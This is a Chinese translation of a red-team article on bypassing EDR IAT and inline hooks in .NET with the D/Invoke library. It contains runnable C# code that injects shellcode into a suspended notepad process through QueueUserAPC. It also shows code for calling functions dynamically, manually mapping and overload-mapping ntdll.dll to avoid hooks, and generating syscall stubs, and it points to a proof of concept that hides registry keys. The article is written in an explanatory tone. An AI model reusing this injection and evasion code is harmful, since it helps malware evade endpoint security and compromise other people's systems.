![EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook]()
一、概述
本文展示了几种动态调用方法,可以利用这些方法绕过Inline和IAT Hook。可以在这里找到概念证明:https://github.com/NVISO-BE/DInvisibleRegistry 。
![EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook]()
二、探索过程
时至今日,红队的技术已经发生了明显变化,他们越来越多地使用C#编写工具,或者逐步从PowerShell转移到C#。
由于AMSI(反恶意软件扫描接口)、脚本块日志记录等一些变化,利用PowerShell实施的一些攻击活动已经越来越容易被发现和防御。
C#中有一个很好用的功能,就是能够像在C或C++中一样,调用Win32 API并操纵这些低级别的函数。
在C#中利用这些API函数的过程被称为平台调用,简称为P/invoke。微软通过C#中的System.Runtime.InteropServices命名空间来实现这一点。所有这些都由CLR(公共语言运行时)进行管理。下图展示了如何使用P/Invoke来衔接非托管代码和托管代码。
但是,从攻击者视角来说,使用.NET也存在一些缺点。由于CLR负责.NET与机器可读代码之间的转换,因此可执行文件不会直接转换为机器可读的代码。这意味着,可执行文件将其整个代码库存储在程序集中,因此非常容易进行逆向工程。
除了进行逆向以外,我们还越来越多地接触到EDR(终端监测与响应)。借助EDR,组织可以提高其网络安全性,使攻击者变得更加艰难,这显然是一件好事。
即使恶意程序在内存中执行(不接触磁盘,通常也称为“无文件”),由于EDR挂钩了进程,因此也可以捕捉到进程活动,并发现特定函数的执行过程。EDR有能力检查当前正在发生的事情,放行合法的函数调用,并阻止可疑的调用。@CCob发表过一篇关于这个概念,以及如何绕过挂钩的文章。一些EDR可能会挂钩到最底层,即负责Windows内核系统调用的ntdll.dll。下图说明了EDR的工作原理。
EDR如何对ntdll调用进行挂钩以防止恶意软件执行:
EDR主要有两种挂钩方式,分别是IAT Hooking和Inline Hooking(也被称为splicing)。
IAT的全称是导入地址表,我们可以将IAT类比为电话簿,能够在其中查找朋友的号码(所需的函数)。
这个电话簿可能被篡改,EDR可能会更改其中的某个条目,以指向EDR。下面展示了一个图表,说明了IAT Hooking的工作原理。
在这里,我们将EDR视为“恶意代码”:
在示例中,是一个要调用消息框的程序。该程序将在其电话簿中查找消息框的号码(地址),以便进行调用。
程序很难知道有人替换了电话号码(地址),所以每次当它以为在调用消息框时,实际上都在调用EDR。
EDR会接受呼叫(调用),收听消息(调用的函数),如果EDR判断该内容时合法的,则会将消息框的真实地址返回给程序,以便进行实际的调用。
而Inline Hooking的原理可以类比成入侵者把枪顶在了我们要呼叫的朋友的脑袋上。
在Inline Hooking的情况下,程序已经有朋友(函数)的正确号码(地址),将会呼叫(调用)朋友,其朋友也将接听电话。
但是他不知道的一点是,他的朋友实际上已经被劫持为人质,入侵者会告诉朋友该说些什么(执行特定指令),然后恢复对话,就好像什么都没有发生。
这两种方法可能会同时影响攻击者和防御者。从攻击的角度来看,还存在一些可能绕过这些函数挂钩的方法。我们联想到了MDSec的Firewalker和@CCob的Sharpblock。或者,使用最终级的绕过方式——直接使用系统调用。
另一个比较有趣的项目是Sharpsploit,这个项目包含攻击者使用的C#工具,就如同PowerShell对应的PowerSploit一样。但是,Sharpsploit存在一个缺点,编译后的DLL会被认为是恶意,因此,如果我们将Sharpsploit作为程序的依赖,很快就会被反病毒软件发现。但是,Sharpsploit的一部分是动态调用(D/Invoke),我认为这是整个Sharpsploit中最有趣的一部分。它允许攻击者调用P/Invoke利用的API,但并不是动态导入,而是动态执行。这意味着,将完全绕过IAT Hooking,因为动态调用函数不会在可执行文件导入表中创建条目。最终,分析人员和EDR都无法通过查看导入表来分析出程序的功能。TheWover写过一篇非常不错的文章,强烈建议阅读。
此外,TheWover发布了一个NuGet软件包,其优点在于它可以直接用作库,不会被检测为恶意软件。这个软件包的优点在于其中包含结构和函数,不再需要开发人员手动进行定义。我们可以用几天前创建的示例来进行说明:https://gist.github.com/jfmaes/944991c40fb34625cf72fd33df1682c0#file-dinjectqueuerapc-cs 。
我使用NuGet重新创建了相同的PoC:
using System;
using System.Security.Principal;
using System.Runtime.InteropServices;
namespace DInvoke
{
class tests
{
public static void InjectNewProcessCreateUserAPC(String process)
{
byte[] sc = new byte[112] {
0x50,0x51,0x52,0x53,0x56,0x57,0x55,0x54,0x58,0x66,0x83,0xe4,0xf0,0x50,0x6a,0x60,0x5a,0x68,0x63,0x61,0x6c,0x63,0x54,0x59,0x48,0x29,0xd4,0x65,0x48,0x8b,0x32,0x48,0x8b,0x76,0x18,0x48,0x8b,0x76,0x10,0x48,0xad,0x48,0x8b,0x30,0x48,0x8b,0x7e,0x30,0x03,0x57,0x3c,0x8b,0x5c,0x17,0x28,0x8b,0x74,0x1f,0x20,0x48,0x01,0xfe,0x8b,0x54,0x1f,0x24,0x0f,0xb7,0x2c,0x17,0x8d,0x52,0x02,0xad,0x81,0x3c,0x07,0x57,0x69,0x6e,0x45,0x75,0xef,0x8b,0x74,0x1f,0x1c,0x48,0x01,0xfe,0x8b,0x34,0xae,0x48,0x01,0xf7,0x99,0xff,0xd7,0x48,0x83,0xc4,0x68,0x5c,0x5d,0x5f,0x5e,0x5b,0x5a,0x59,0x58,0xc3
};
uint oldProtect = 0;
bool success = false;
String processPath = process;
Data.Win32.ProcessThreadsAPI.STARTF si = new Data.Win32.ProcessThreadsAPI.STARTF();
Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION pi = new Data.Win32.ProcessThreadsAPI._PROCESS_INFORMATION();
success = DynamicInvoke.Win32.CreateProcess(processPath, null, IntPtr.Zero, IntPtr.Zero, false, Data.Win32.Advapi32.CREATION_FLAGS.CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
Console.WriteLine(pi.dwProcessId);
IntPtr alloc = DynamicInvoke.Win32.VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x1000 | 0x2000, 0x40);
success = DynamicInvoke.Win32.WriteProcessMemory(pi.hProcess, alloc, sc, (uint)sc.Length, out UIntPtr bytesWritten);
IntPtr tpointer = DynamicInvoke.Win32.OpenThread(Data.Win32.Kernel32.ThreadAccess.SetContext, false, (int)pi.dwThreadId);
DynamicInvoke.Win32.VirtualProtectEx(pi.hProcess, alloc, sc.Length, 0x20, out oldProtect);
DynamicInvoke.Win32.QueueUserAPC(alloc, tpointer, IntPtr.Zero);
DynamicInvoke.Win32.ResumeThread(pi.hThread);
}
public static void Main(string[] args)
{
InjectNewProcessCreateUserAPC(@"C:WindowsSystem32notepad.exe");
}
}
}
代码从731行缩减为38行。对攻击者的.NET开发过程来说,NuGet是D/Invoke有史以来做好的发明。
NuGet仍然正在开发中,其最终目标是完全替代P/Invoke。如果大家希望提供帮助,欢迎随时提交Pull Request。我们相信,借助开源的力量,这个库会变得非常庞大。
![EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook]()
三、利用D/Invoke绕过挂钩
现在,挂钩和动态调用的概念已经非常清晰了,我们可以使用D/Invoke来绕过挂钩。
为了激发灵感,我决定根据Specterops的研究成果来创建概念验证。
在研究过程中,他们使用了Mark Russinovich的研究,并将其转变为攻击过程的概念证明。Mark在2005年发布了一个名为RegHide的工具。
他发现,在使用Ntcreatekey创建新的注册表项时,我们可以在空字节前添加一个字节。当在注册表项之前添加一个空字节时,解释器会将其视为字符串终止(在C语言中,字符串以一个空字节终止)。这样一来,将会导致注册表接受新的注册表项,但无法正确显示。这为防御者提供了一个很好的突破口,说明其中可能存在一些问题。
尝试显示名称中包含空字符的键值时,Regedit将显示错误:
在概念证明中,我利用D/invoke和NuGet的功能,将PowerShell移植到了C#中。
我已经为D/invoke项目提交了Pull Request,其中添加了必要的结构和委托。同时,也加入了其他的一些内容,例如QueueUserAPC进程注入。
但是,由于我在编写这篇文章,所以实际上我也将必要的结构加入到了PoC之中,使其兼容当前的D/invoke NuGet包。
PoC可以在这里找到:https://github.com/NVISO-BE/DInvisibleRegistry 。
DinvisbleRegistry PoC的用法:
在PoC中,编码了三种方法,它们也可以合并为一个大函数,作为一个完整的实现。
之所以要花时间来编写代码,是因为我希望展示攻击者可以利用D/Invoke绕过挂钩的各种方法,及其背后的原理。
3.1 方法1:经典动态调用
当指定-n标志和所有其他必需的参数时,PoC将使用传统的D/Invoke方法在所请求的配置单元中创建一个新的注册表项(如果使用-h表示则会隐藏)。
当动态调用函数时,这种方法将绕过IAT Hooking,因此不会显示在IAT中。
D/Invoke的工作方式是这样的,我们首先需要创建要尝试执行的API调用的签名(除非D/Invoke Nuget中已经存在)和相应的Delegate函数。
API签名:
public static DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes)
{
object[] funcargs =
{
keyHandle,desiredAccess,objectAttributes
};
DInvoke.Data.Native.NTSTATUS retvalue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke(@"ntdll.dll", @"NtOpenKey", typeof(DELEGATES.NtOpenKey), ref funcargs);
keyHandle = (IntPtr)funcargs[0];
return retvalue;
}
对应委托:
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);
我们可以在API签名中看到,正在调用DynamicAPIInvoke函数,并将该函数的委托传递给它。
3.2 方法2:手动映射
一些威胁参与者和恶意软件可能会使用手动映射的方法。TheWover在他的博客中解释了手动映射的概念:
DInvoke支持将PE模块手动映射到存储在磁盘或内存中模块。这个功能可以用于绕过API挂钩,或者用于在无需接触磁盘的情况下从内存加载和执行Payload。该模块可以映射到动态分配的内存中,也可以映射到磁盘上任意文件支持的内存中。从磁盘手动映射模块时,将使用它的新副本。这样一来,反病毒软件或EDR原本放置在其中的任何挂钩都不再存在。如果手动映射的模块调用到其他挂钩的模块,那么仍然有可能触发反病毒或EDR。但是,至少对于手动映射模块本身的所有调用,都不会被任何钩子捕获。这也就是恶意软件经常会手动映射ntdll.dll的原因。他们使用新的副本,绕过加载到进程中的ntdll.dll里面放置的所有挂钩,强制自己仅使用新ntdll.dll副本中的Nt* API调用。由于ntdll.dll中的Nt* API调用仅仅是系统调用的包装,因此对它们的任何调用都不会无意跳转到可能挂钩的其他模块。
当我们指定了-m标志,并且代码类似于下述代码时,便会在PoC中完成了手动映射。
首先,映射正在使用的库。我们越隐蔽,挂钩到调用树的概率就越小。我们可以使用ntdll.dll。
DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = new DInvoke.Data.PE.PE_MANUAL_MAP();
mappedDLL = DInvoke.ManualMap.Map.MapModuleToMemory(@"C:WindowsSystem32ntdll.dll");
接下来,为需要调用的函数创建委托,如果它还没有在D/Invoke中,那么可以利用NuGet。
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);
接下来,创建函数参数和数组,并将其存储:
IntPtr keyHandle = IntPtr.Zero;
STRUCTS.ACCESS_MASK desiredAccess = STRUCTS.ACCESS_MASK.KEY_ALL_ACCESS;
STRUCTS.OBJECT_ATTRIBUTES oa = new STRUCTS.OBJECT_ATTRIBUTES();
oa.Length = Marshal.SizeOf(oa);
oa.Attributes = (uint)STRUCTS.OBJ_ATTRIBUTES.CASE_INSENSITIVE;
oa.objectName = oaObjectName;
oa.SecurityDescriptor = IntPtr.Zero;
oa.SecurityQualityOfService = IntPtr.Zero;
DInvoke.Data.Native.NTSTATUS retValue = new DInvoke.Data.Native.NTSTATUS();
object[] ntOpenKeyParams =
{
keyHandle,desiredAccess,oa
};
最后,调用D/Invoke CallMappedDLLModuleExport,从手动映射的DLL中调用函数。
retValue = (DInvoke.Data.Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.CallMappedDLLModuleExport(mappedDLL.PEINFO, mappedDLL.ModuleBase, "NtOpenKey", typeof(DELEGATES.NtOpenKey), ntOpenKeyParams, false);
对于ntdll来说,CalledMappedDLLModuleExport的最后一个参数为False,这是因为ntdll中没有DllMain方法。如果将其设置为True,会在我们尝试访问不存在的内存时引发崩溃(Panic)。
3.3 方法3:重载映射
TheWover解释了重载映射(Overloadmapping)的概念:
除了普通的手动映射外,我们还支持模块重载。模块重载可以让我们将Payload(以字节数组形式)存储在内存中,由磁盘上合法文件提供内存的支持。这样一来,当我们从中执行代码时,这段代码似乎时由磁盘上合法的、经过有效签名的DLL中执行的。
需要注意的是,手动映射非常复杂,我们不能保证我们的实现涵盖了所有情况。目前的版本已经可以用于许多常见的用例,并且仍在不断完善。另外,手动映射和syscall stub生成不适用于WOW64进程。
方法2和方法3在实现上基本相同,唯一不同的是调用了重载手动映射的方法,不必再映射到内存。
DInvoke.Data.PE.PE_MANUAL_MAP mappedDLL = DInvoke.ManualMap.Overload.OverloadModule(@"C:WindowsSystem32ntdll.dll");
其余的实现与方法2相同。
如果要查看使用了哪个进程,可以使用PE_MANUAL_MAP DecoyModule调用来获取:
Console.WriteLine("Decoy module is found!n Using: {0} as a decoy", mappedDLL.DecoyModule);
3.4 方法4:系统调用
这种方法目前还存在一些缺陷,因此有可能无法获得想要的结果,我们暂时没有在PoC中实现这种方法,我建议在以后的D/Invoke版本中不要使用这种方法。
D/Invoke提供了一个API来动态获取系统调用。其生成系统调用的步骤如下。
创建委托(如果不存在):
[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate DInvoke.Data.Native.NTSTATUS NtOpenKey(
ref IntPtr keyHandle,
STRUCTS.ACCESS_MASK desiredAccess,
ref STRUCTS.OBJECT_ATTRIBUTES objectAttributes);
创建一个IntPtr来存储系统调用指针,并使用GetSyscallStub函数来填充该指针:
IntPtr syscall = IntPtr.Zero;
syscall = DInvoke.DynamicInvoke.Generic.GetSyscallStub("NtOpenKey");
使用Marshal创建使用系统调用的调用的委托:
DELEGATES.NtOpenKey syscallNtOpenKey = (DELEGATES.NtOpenKey)Marshal.GetDelegateForFunctionPointer(syscall, typeof(DELEGATES.NtOpenKey));
最后,进行调用:
retValue = syscallNtOpenKey(ref keyHandle, desiredAccess, ref oa);
![EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook]()
四、总结
我希望这篇文章能够很好地说明攻击者是如何绕过IAT和Inline Hooking,从而展示绕过EDR钩子的不同方法。
欢迎大家提交Pull Request,为D/Invoke项目作出贡献。可以在这里找到D/Invoke GitHub项目:https://github.com/TheWover/DInvoke 。
概念证明可以在这里找到:https://github.com/NVISO-BE/DInvisibleRegistry 。
参考及来源:https://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/
本文始发于微信公众号(嘶吼专业版):EDR绕过方法:利用.NET动态调用绕过内联和IAT Hook
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论